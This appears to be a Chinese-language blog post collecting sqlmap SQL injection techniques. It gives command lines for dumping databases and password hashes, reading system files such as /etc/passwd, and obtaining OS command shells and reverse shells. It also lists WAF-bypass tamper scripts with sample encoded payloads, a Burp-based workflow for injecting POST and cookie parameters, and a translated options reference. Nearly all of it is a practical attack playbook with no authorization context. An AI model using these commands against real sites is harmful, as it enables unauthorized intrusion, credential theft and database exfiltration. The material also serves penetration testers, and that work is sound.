1. 程式人生 > >Sqlmap注入技巧收集整理

Sqlmap注入技巧收集整理

TIP1

當我們注射的時候,判斷注入

你可以用burp的intruder的字典跑,但是仍然失敗。

這裡可以用到SQL語句的case when …then … else … end語句CASE WHEN語句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型資料庫都受到支援,是標準的SQL語句。可以這樣子理解:CASE… WHEN… THEN …ELSE …END

CASE WHEN 語法有兩種情況:(1) 第一種是CASE 後面不帶表示式的;

CASE WHEN expression THEN 操作1

WHEN expression THEN 操作2

.......

ELSE 操作

n

END

(2) 第二種是CASE 後面帶表示式的(而此時WHEN 後面的則是該表示式可能的值),通用。

CASE expression

WHEN expression1 THEN 操作1

WHEN expression2 THEN 操作2

.......

ELSE 操作n

END 

可以很明顯的看到返回不同,然後可以判斷注入。那麼怎麼能讓sqlmap去識別呢?Sqlmap預設是自己尋找注入點的,但是你加上一個*,可以引導他。語句

sqlmap.py -u http://host/script?id=11-(casewhen 1=1星號then1)

注入最頭痛的就是遇到過濾,sqlmap提供了字元轉換的功能

“–tamper=between”當然自己可以改寫轉換內容,檔案在/tamper目錄下。

關於post注入 sqlmap可以用-r引數 載入資料包

sqlmap.py -r post.txt 

繼續補充一點: having xor等邏輯符號也可以判斷注入。

TIP2

(1) POST注入

有兩種方法來進行post注入,一種是使用--data引數,將postkeyvalue用類似GET方式來提交。二是使用-r引數,sqlmap讀取使用者抓到的POST請求包,來進行POST注入檢測。

(2) 檢視payload

之前一直是加本地代理,然後用burpsuit來看sqlmappayload,到現在才發現用

-v引數就可以實現。一直認為-v實現的只是控制警告,debug資訊級別。實際上使用-v 3就可以顯示注入的payload4,5,6還可以顯示HTTP請求,HTTP響應頭和頁面。

(3) 使用google搜尋

sqlmap可以測試google搜尋結果中的sql注入,很強大的功能吧。使用方法是引數-g。不過感覺實際使用中這個用的還是很少的。

(4) 請求延時

在注入過程中請求太頻繁的話可能會被防火牆攔截,這時候--delay引數就起作用了。可以設定兩次HTTP請求間的延時。有的web程式會在多次錯誤訪問後遮蔽所有請求,這樣就導致之後所有的測試無法進行,繞過這個策略可以使用--safe-url,每隔一段時間去訪問一個正常的頁面。

(5) 偽靜態頁面

有些web伺服器進行了url rewrite或者網站是偽靜態的,無法直接提供測試引數,這樣子可以使用*來代替要測試的引數。

(6) 執行系統命令

當資料庫支援,並且當前使用者有許可權的時候,可以執行系統命令,使用--os-cmd或者--os-shell,具體的講,當可以執行多語句的時候,會嘗試用UDFMySQLPostgrepSQL)或者xp_cmdshellMSSQL)來執行系統命令。不能執行多語句時,仍然會嘗試建立一個webshell來執行語句,這時候就需要web的絕對路徑了。總體來說,成功率偏低,不過個人也有成功的經驗~

(7) 測試等級

sqlmap使用--level引數來進行不同全面性的測試,預設為1,不同的引數影響了使用哪些payload2時會進行cookie注入檢測,3時會進行useragent檢測。

-------------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------

常用引數:

(1)判斷當前使用者是否是dba: ./sqlmap.py -u "url" --is-dba -v 1

(2)列出資料庫管理系統使用者:./sqlmap.py -u "url" --users -v 0

(3)資料庫使用者密碼(hash):

./sqlmap.py -u "url" --passwords -v 0

./sqlmap.py -u "url" --passwords -U sa -v 0

(4)檢視使用者許可權:

./sqlmap.py -u "url" --privileges -v 0

./sqlmap.py -u "url" --privileges -U postgres -v 0

(5)列出資料庫:

./sqlmap.py -u "url" --dbs -v 0

(6)列出資料庫表:

./sqlmap.py -u "url" --tables -D "information_scheam"

(7)列出表中的列名:

./sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1

(8)列出指定列的內容:

./sqlmap.py -u "url" --dump -T "users" -D "testdb" -C “指定欄位”  

指定範圍:

./sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0

(9)列出所有資料庫,所有表內容:

./sqlmap.py -u "url" --dump-all -v 0

只列出使用者自己新建的資料庫和表的內容:

./sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0

(10)讀取檔案內容[load_file(函式)]:

./sqlmap.py -u "url" --file /etc/password

(11)執行SQL:

./sqlmap.py -u "url" --sql-shell

(12)指定引數:

./sqlmap.py -u "url" -p "id" -v 1

(13)POST提交:

./sqlmap.py -u "url" --method POST --data "id=1"

(14)COOKIE提交:

./sqlmap.py -u "url" --cookie "id=1" -v 1

(15)refer欺騙:

./sqlmap.py -u "url" --refer "url" -v 3

(16)使用自定義user-agent或者user-agents.txt:

./sqlmap.py -u "url" --user-agent "Mozilla/4.0(compatible;MSIE 7.0;Windows NT5.1)" -v 3

./sqlmap.py -u "url" -a "./txt/user-agents.txt" -v 1

(17)使用多執行緒猜解:

./sqlmap.py -u "url" --current-user --threads 3 -v 1

(18)指定資料庫,繞過salmap自動檢測:

./sqlmap.py -u "url" --dbms "PostgreSQL" -v 2

(19)指定作業系統:

./sqlmap.py -u "url" --os "Windows" -v 2

(20)自動義payload:

./sqlmap.py -u "url" -p "id" --prefix " ' " --postfix "and 'test' = 'test "

(21)union注入測試:

./sqlmap.py -u "url" --union-test -v 1

(22)配合order by:

./sqlmap.py -u "url" --union-test --union-tech orderby -v 1

(23) ./sqlmap.py -u "url" --union-use --banner -v 1

./sqlmap.py -u "url" --union-use --current-user -v 5

./sqlmap.py -u "url" --union-use --dbs -v 1

========================================================================

========================================================================

1. 基礎用法:

./sqlmap.py -u “注入地址” -v 1 –dbs   // 列舉資料庫
./sqlmap.py -u “注入地址” -v 1 –current-db   // 當前資料庫
./sqlmap.py -u “注入地址” -v 1 –users    // 列資料庫使用者
./sqlmap.py -u “注入地址” -v 1 –current-user  // 當前使用者
./sqlmap.py -u “注入地址” -v 1 –tables -D “資料庫”   // 列舉資料庫的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “資料庫”   // 獲取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “欄位,欄位” -T “表名” -D “資料庫”   // 獲取表中的資料,包含列

已經開始拖庫了,SQLMAP是非常人性化的,它會將獲取的資料儲存sqlmap/output/


2. sqlmap post注入

我們在使用Sqlmap進行post型注入時,
經常會出現請求遺漏導致注入失敗的情況。
這裡分享一個小技巧,即結合burpsuite來使用sqlmap
用這種方法進行post注入測試會更準確,操作起來也非常容易。
1. 瀏覽器開啟目標地址http:// www.2cto.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以攔截請求
3. 點選login表單的submit按鈕
4. 如下圖,這時候Burp會攔截到了我們的登入POST請求
5. 把這個post請求複製為txt, 我這命名為search-test.txt 然後把它放至sqlmap目錄下

6. 執行sqlmap並使用如下命令:
./sqlmap.py -r search-test.txt -p tfUPass

這裡引數-r 是讓sqlmap載入我們的post請求rsearch-test.txt
-p 大家應該比較熟悉,指定注入用的引數。

3.sqlmap  cookies注入

sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″  –dbs –level 2

 預設情況下SQLMAP只支援GET/POST引數的注入測試,但是當使用–level 引數且數值>=2的時候也會檢查cookie時面的引數,當>=3的時候將檢查User-agentReferer,那麼這就很簡單了,我 們直接在原有的基礎上面加上 –level 2 即可

利用sqlmap cookies注入突破使用者登入繼續注入
先把使用者登陸的cookie拿到吧,
在收藏夾新增一個連結cookies屬性:
名字自己取
javascript:alert(document.cookie),,需要獲取當前cookie的時候,
直接點一下這個連結,然後複製一下彈出對話方塊
裡的cookie值就搞定了

sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”

-p是指指定引數注入

4. sqlmap遇到url重寫的注入

哪裡存在注入就加上 
./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“

5.sqlmap 編碼繞waf注入

./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”

sqlmap 的 tamper目錄下有很多space2morehash.py 編碼指令碼自行載入

6.結合burp批量注入用法

(1) -l 從Burp或WebScarab代理的日誌中解析目標

a)利用burp代理,轉到history選項卡,選中資料包右鍵-->save items,儲存文件a.txt

 b)./sqlmap.py --batch -l a.txt(即可批量注入,--batch)

(2)-m 批量注入url連線檔案

a)利用burp代理,轉到history選項卡,選中資料包右鍵-->copy URLs,儲存文件b.txt

b)./sqlmap.py --batch -m b.txt

----------------------------------------------------------------------------

----------------------------------------------------------------------------

其他基礎:
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #獲取當前使用者名稱稱 sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db  #獲取當前資料庫名稱 sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –tables  -D “db_name” #列表名 sqlmap -u “http://url/news?id=1” –level=3 –smart  –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列欄位 sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql”  –dump  -C “column_name”  -T “table_name” -D “db_name” -v 0   #獲取欄位內容 ******************資訊獲取******************

sqlmap -u “ –smart –dbms “Mysql” –users  #列資料庫使用者  

sqlmap -u “ –smart –dbms “Mysql” –dbs#列資料庫 

sqlmap -u “ –smart –dbms “Mysql”–passwords #資料庫使用者密碼  

sqlmap -u “ –smart –dbms “Mysql”–passwords-U root  -v 0 #列出指定使用者資料庫密碼 

 sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有資料庫所有表   
sqlmap -u “ –smart –dbms “Mysql”–privileges #檢視許可權  

sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #檢視指定使用者許可權  

sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是資料庫管理員 

 sqlmap -u “ –smart –dbms “Mysql” –roles #列舉資料庫使用者角色  

sqlmap -u “ –smart –dbms “Mysql”–udf-inject #匯入使用者自定義函式(獲取系統許可權!)  

sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出當前庫所有表  
sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支援union 注入  

sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查詢表記錄  

sqlmap -u “ –smart –dbms “Mysql” –union-test #union 語句測試  
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #採用union 注入 

 sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by  
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入  

sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入  
sqlmap -u “ –smart –dbms “Mysql”-b #獲取banner資訊 

sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指紋判別資料庫型別 sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入

sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“  #指定關鍵詞

sqlmap -u “ –smart –dbms “Mysql”–sql-shell #執行指定sql命令  
sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd  

sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #執行系統命令  

sqlmap -u “ –smart –dbms “Mysql”–os-shell #系統互動shell  

sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反彈

shell  sqlmap -u “ –smart –dbms “Mysql”–reg-read #讀取win系統登錄檔  

sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #儲存進度  

sqlmap -u “ –smart –dbms “Mysql” –dbs  -o “sqlmap.log” –resume  #恢復已儲存進度 


======================================================================================

======================================================================================

SQLMAP自帶的繞過指令碼 --tamper詳解


首先這個文章我是轉來的 
http://www.chuhades.com/post/19590b_4cc51f 
確實很實用,就當記錄一下吧,方便日後查詢。 

(1)apostrophemask.py UTF-8編碼 
Example: 
* Input: AND '1'='1' 
* Output: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87 

(2)apostrophenullencode.py unicode編碼 
Example: 
* Input: AND '1'='1' 
* Output: AND %00%271%00%27=%00%271%00%27 

(3)appendnullbyte.py 新增%00 
Example: 
* Input: AND 1=1 
* Output: AND 1=1%00 
Requirement: 
* Microsoft Access 

(4)base64encode.py base64編碼 
Example: 
* Input: 1' AND SLEEP(5)# 
* Output: MScgQU5EIFNMRUVQKDUpIw== 

(5)between.py 以”not between”替換”>“ 
Example: 
* Input: 'A > B' 
* Output: 'A NOT BETWEEN 0 AND B' 

(6)bluecoat.py 以隨機的空白字元替代空格,以”like”替代”=“ 
Example: 
* Input: SELECT id FROM users where id = 1 
* Output: SELECT%09id FROM users where id LIKE 1 
Requirement: 
* MySQL 5.1, SGOS 

(7)chardoubleencode.py 雙重url編碼 
Example: 
* Input: SELECT FIELD FROM%20TABLE 
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

(8)charencode.py url編碼 
Example: 
* Input: SELECT FIELD FROM%20TABLE 
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

(9)charunicodeencode.py 對未進行url編碼的字元進行unicode編碼 
Example: 
* Input: SELECT FIELD%20FROM TABLE 
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Requirement: 
* ASP 
* ASP.NET 

(10)equaltolike.py 以”like”替代”=“ 
Example: 
* Input: SELECT * FROM users WHERE id=1 
* Output: SELECT * FROM users WHERE id LIKE 1 

(11)halfversionedmorekeywords.py在每個關鍵字前新增條件註釋 
Example: 
* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa 
* Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa 
Requirement: 
* MySQL < 5.1 

(12)ifnull2ifisnull.py 以”IF(ISNULL(A), B, A)”替換”IFNULL(A, B)” 
Example: 
* Input: IFNULL(1, 2) 
* Output: IF(ISNULL(1), 2, 1) 
Requirement: 
* MySQL 
* SQLite (possibly) 
* SAP MaxDB (possibly) 

(13)modsecurityversioned.py 條件註釋 
Example: 
* Input: 1 AND 2>1-- 
* Output: 1 /*!30000AND 2>1*/-- 
Requirement: 
* MySQL 

(14)modsecurityzeroversioned.py 條件註釋,0000 
Example: 
* Input: 1 AND 2>1-- 
* Output: 1 /*!00000AND 2>1*/-- 
Requirement: 
* MySQL 

(15)multiplespaces.py 新增多個空格 
Example: 
* Input: UNION SELECT 
* Output:  UNION   SELECT 

(16)nonrecursivereplacement.py 可以繞過對關鍵字刪除的防注入(這個我也不知道怎麼說好,看例子。。。) 
Example: 
* Input: 1 UNION SELECT 2-- 
* Output: 1 UNUNIONION SELSELECTECT 2-- 

(17)percentage.py 在每個字元前新增百分號(%) 
Example: 
* Input: SELECT FIELD FROM TABLE 
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E 
Requirement: 
* ASP 

(18)randomcase.py 隨即大小寫 
Example: 
* Input: INSERT 
* Output: InsERt 

(19)randomcomments.py 隨機插入區塊註釋 
Example: 
'INSERT' becomes 'IN/**/S/**/ERT' 
securesphere.py 語句結尾新增”真”字串 
Example: 
* Input: AND 1=1 
* Output: AND 1=1 and '0having'='0having' 

(20)sp_password.py 語句結尾新增”sp_password”迷惑資料庫日誌(很。。。) 
Example: www.2cto.com 
* Input: 1 AND 9227=9227-- 
* Output: 1 AND 9227=9227--sp_password 
Requirement: 
* MSSQL 

(21)space2comment.py 以區塊註釋替換空格 
Example: 
* Input: SELECT id FROM users 
* Output: SELECT/**/id/**/FROM/**/users 

(22)space2dash.py 以單行註釋”--”和隨機的新行替換空格 
Example: 
* Input: 1 AND 9227=9227 
* Output: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227 
Requirement: 
* MSSQL 
* SQLite 

(23)space2hash.py 以單行註釋”#”和由隨機字元組成的新行替換空格 
Example: 
* Input: 1 AND 9227=9227 
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 
Requirement: 
* MySQL 

(24)space2morehash.py 沒看出來和上面那個有什麼區別。。 
Requirement: 
* MySQL >= 5.1.13 

(25)space2mssqlblank.py 以隨機空白字元替換空格 
Example: 
* Input: SELECT id FROM users 
* Output: SELECT%08id%02FROM%0Fusers 
Requirement: 
* Microsoft SQL Server 

(26)space2mssqlhash.py 以單行註釋”#”和新行替換空格 
Example: 
* Input: 1 AND 9227=9227 
* Output: 1%23%0A9227=9227 
Requirement: 
* MSSQL 
* MySQL 

(27)space2mysqlblank.py 以隨機空白字元替換空格 
Example: 
* Input: SELECT id FROM users 
* Output: SELECT%0Bid%0BFROM%A0users 
Requirement: 
* MySQL 

(28)space2mysqldash.py 以單行註釋和新行替換空格 
Example: 
* Input: 1 AND 9227=9227 
* Output: 1--%0AAND--%0A9227=9227 
Requirement: 
* MySQL 
* MSSQL 

(29)space2plus.py 以”+”替換空格 
Example: 
* Input: SELECT id FROM users 
* Output: SELECT+id+FROM+users 

(30)space2randomblank.py 隨機空白字元替換空格 
Example: 
* Input: SELECT id FROM users 
* Output: SELECT\rid\tFROM\nusers 

(31)unionalltounion.py 以”union all”替換”union” 
Example: 
* Input: -1 UNION ALL SELECT 
* Output: -1 UNION SELECT 

(32)unmagicquotes.py 以”%bf%27”替換單引號,並在結尾添加註釋”--” 
Example: 
* Input: 1' AND 1=1 
* Output: 1%bf%27 AND 1=1--%20 

(33)versionedkeywords.py 對不是函式的關鍵字條件註釋 
Example: 
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# 
* Output:  1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement: 
* MySQL 


(34)versionedmorekeywords.py 對關鍵字條件註釋 
Example: 
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# 
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Requirement: 
* MySQL >= 5.1.13

------------------------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------------------

SQLMAP引數詳解

#HiRoot's Blog
Options(選項):
--version 顯示程式的版本號並退出
-h, --help 顯示此幫助訊息並退出
-v VERBOSE 詳細級別:0-6(預設為1)


Target(目標):
以下至少需要設定其中一個選項,設定目標URL。


-d DIRECT 直接連線到資料庫。
-u URL, --url=URL 目標URL。
-l LIST 從Burp或WebScarab代理的日誌中解析目標。
-r REQUESTFILE 從一個檔案中載入HTTP請求。
-g GOOGLEDORK 處理Google dork的結果作為目標URL。
-c CONFIGFILE 從INI配置檔案中載入選項。


Request(請求):
這些選項可以用來指定如何連線到目標URL。


--data=DATA 通過POST傳送的資料字串
--cookie=COOKIE HTTP Cookie頭
--cookie-urlencode URL 編碼生成的cookie注入
--drop-set-cookie 忽略響應的Set - Cookie頭資訊
--user-agent=AGENT 指定 HTTP User - Agent頭
--random-agent 使用隨機選定的HTTP User - Agent頭
--referer=REFERER 指定 HTTP Referer頭
--headers=HEADERS 換行分開,加入其他的HTTP頭
--auth-type=ATYPE HTTP身份驗證型別(基本,摘要或NTLM)(Basic, Digest or NTLM)
--auth-cred=ACRED HTTP身份驗證憑據(使用者名稱:密碼)
--auth-cert=ACERT HTTP認證證書(key_file,cert_file)
--proxy=PROXY 使用HTTP代理連線到目標URL
--proxy-cred=PCRED HTTP代理身份驗證憑據(使用者名稱:密碼)
--ignore-proxy 忽略系統預設的HTTP代理
--delay=DELAY 在每個HTTP請求之間的延遲時間,單位為秒
--timeout=TIMEOUT 等待連線超時的時間(預設為30秒)
--retries=RETRIES 連線超時後重新連線的時間(預設3)
--scope=SCOPE 從所提供的代理日誌中過濾器目標的正則表示式
--safe-url=SAFURL 在測試過程中經常訪問的url地址
--safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL


Optimization(優化):
這些選項可用於優化SqlMap的效能。


-o 開啟所有優化開關
--predict-output 預測常見的查詢輸出
--keep-alive 使用持久的HTTP(S)連線
--null-connection 從沒有實際的HTTP響應體中檢索頁面長度
--threads=THREADS 最大的HTTP(S)請求併發量(預設為1)


Injection(注入):
這些選項可以用來指定測試哪些引數, 提供自定義的注入payloads和可選篡改指令碼。


-p TESTPARAMETER 可測試的引數(S)
--dbms=DBMS 強制後端的DBMS為此值
--os=OS 強制後端的DBMS作業系統為這個值
--prefix=PREFIX 注入payload字串字首
--suffix=SUFFIX 注入payload字串字尾
--tamper=TAMPER 使用給定的指令碼(S)篡改注入資料


Detection(檢測):
這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。


--level=LEVEL 執行測試的等級(1-5,預設為1)
--risk=RISK 執行測試的風險(0-3,預設為1)
--string=STRING 查詢時有效時在頁面匹配字串
--regexp=REGEXP 查詢時有效時在頁面匹配正則表示式
--text-only 僅基於在文字內容比較網頁


Techniques(技巧):
這些選項可用於調整具體的SQL注入測試。


--technique=TECH SQL注入技術測試(預設BEUST)
--time-sec=TIMESEC DBMS響應的延遲時間(預設為5秒)
--union-cols=UCOLS 定列範圍用於測試UNION查詢注入
--union-char=UCHAR 用於暴力猜解列數的字元


Fingerprint(指紋):
-f, --fingerprint 執行檢查廣泛的DBMS版本指紋


Enumeration(列舉):
這些選項可以用來列舉後端資料庫管理系統的資訊、表中的結構和資料。此外,您還可以執行您自己
的SQL語句。
-b, --banner 檢索資料庫管理系統的標識
--current-user 檢索資料庫管理系統當前使用者
--current-db 檢索資料庫管理系統當前資料庫
--is-dba 檢測DBMS當前使用者是否DBA
--users 列舉資料庫管理系統使用者
--passwords 列舉資料庫管理系統使用者密碼雜湊
--privileges 列舉資料庫管理系統使用者的許可權
--roles 列舉資料庫管理系統使用者的角色
--dbs 列舉資料庫管理系統資料庫
--tables 列舉的DBMS資料庫中的表
--columns 列舉DBMS資料庫表列
--dump 轉儲資料庫管理系統的資料庫中的表項
--dump-all 轉儲所有的DBMS資料庫表中的條目
--search 搜尋列(S),表(S)和/或資料庫名稱(S)
-D DB 要進行列舉的資料庫名
-T TBL 要進行列舉的資料庫表
-C COL 要進行列舉的資料庫列
-U USER 用來進行列舉的資料庫使用者
--exclude-sysdbs 列舉表時排除系統資料庫
--start=LIMITSTART 第一個查詢輸出進入檢索
--stop=LIMITSTOP 最後查詢的輸出進入檢索
--first=FIRSTCHAR 第一個查詢輸出字的字元檢索
--last=LASTCHAR 最後查詢的輸出字字元檢索
--sql-query=QUERY 要執行的SQL語句
--sql-shell 提示互動式SQL的shell


Brute force(蠻力):
這些選項可以被用來執行蠻力檢查。


--common-tables 檢查存在共同表
--common-columns 檢查存在共同列


User-defined function injection(使用者自定義函式注入):
這些選項可以用來建立使用者自定義函式。


--udf-inject 注入使用者自定義函式
--shared-lib=SHLIB 共享庫的本地路徑


File system access(訪問檔案系統):
這些選項可以被用來訪問後端資料庫管理系統的底層檔案系統。


--file-read=RFILE 從後端的資料庫管理系統檔案系統讀取檔案
--file-write=WFILE 編輯後端的資料庫管理系統檔案系統上的本地檔案
--file-dest=DFILE 後端的資料庫管理系統寫入檔案的絕對路徑


Operating system access(作業系統訪問):
這些選項可以用於訪問後端資料庫管理系統的底層作業系統。


--os-cmd=OSCMD 執行作業系統命令
--os-shell 互動式的作業系統的shell
--os-pwn 獲取一個OOB shell,meterpreter或VNC
--os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC
--os-bof 儲存過程緩衝區溢位利用
--priv-esc 資料庫程序使用者許可權提升
--msf-path=MSFPATH Metasploit Framework本地的安裝路徑
--tmp-path=TMPPATH 遠端臨時檔案目錄的絕對路徑


Windows登錄檔訪問:
這些選項可以被用來訪問後端資料庫管理系統Windows登錄檔。


--reg-read 讀一個Windows登錄檔項值
--reg-add 寫一個Windows登錄檔項值資料
--reg-del 刪除Windows登錄檔鍵值
--reg-key=REGKEY Windows登錄檔鍵
--reg-value=REGVAL Windows登錄檔項值
--reg-data=REGDATA Windows登錄檔鍵值資料
--reg-type=REGTYPE Windows登錄檔項值型別


General(一般):


這些選項可以用來設定一些一般的工作引數。
-t TRAFFICFILE 記錄所有HTTP流量到一個文字檔案中
-s SESSIONFILE 儲存和恢復檢索會話檔案的所有資料
--flush-session 重新整理當前目標的會話檔案
--fresh-queries 忽略在會話檔案中儲存的查詢結果
--eta 顯示每個輸出的預計到達時間
--update 更新SqlMap
--save file儲存選項到INI配置檔案
--batch 從不詢問使用者輸入,使用所有預設配置。


Miscellaneous(雜項):
--beep 發現SQL注入時提醒
--check-payload IDS對注入payloads的檢測測試
--cleanup SqlMap具體的UDF和表清理DBMS
--forms 對目標URL的解析和測試形式
--gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結果
--page-rank Google dork結果顯示網頁排名(PR)
--parse-errors 從響應頁面解析資料庫管理系統的錯誤訊息
--replicate 複製轉儲的資料到一個sqlite3資料庫
--tor 使用預設的Tor(Vidalia/ Privoxy/ Polipo)代理地址
--wizard 給初級使用者的簡單向導介面
//--http://blog.csdn.net/ghosttzs--//